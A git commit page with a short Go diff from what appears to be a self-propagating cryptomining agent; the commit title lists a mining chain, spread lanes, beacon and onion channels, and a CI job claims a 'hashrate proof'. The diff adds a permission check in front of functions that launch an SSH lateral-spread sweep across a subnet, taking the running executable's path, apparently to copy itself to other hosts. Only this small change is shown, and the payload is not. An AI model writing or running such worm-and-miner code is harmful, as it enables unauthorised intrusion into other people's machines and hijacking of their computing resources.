Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
if ok, reason := AllowAutospread(cfg); !ok {
return "autospread deferred: " + reason
}
go spreadUnixSubnet(cfg)
return "unix lateral spread sweep started (SSH :22)"
}
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
var spreadSem = make(chan struct{}, 16)
func spreadUnixSubnet(cfg config.RuntimeConfig) {
if ok, reason := AllowAutospread(cfg); !ok {
log.Printf("[autospread] spread deferred: %s", reason)
finishSpreadSweepImmediate()
return
}
exePath, err := os.Executable()
if err != nil {
return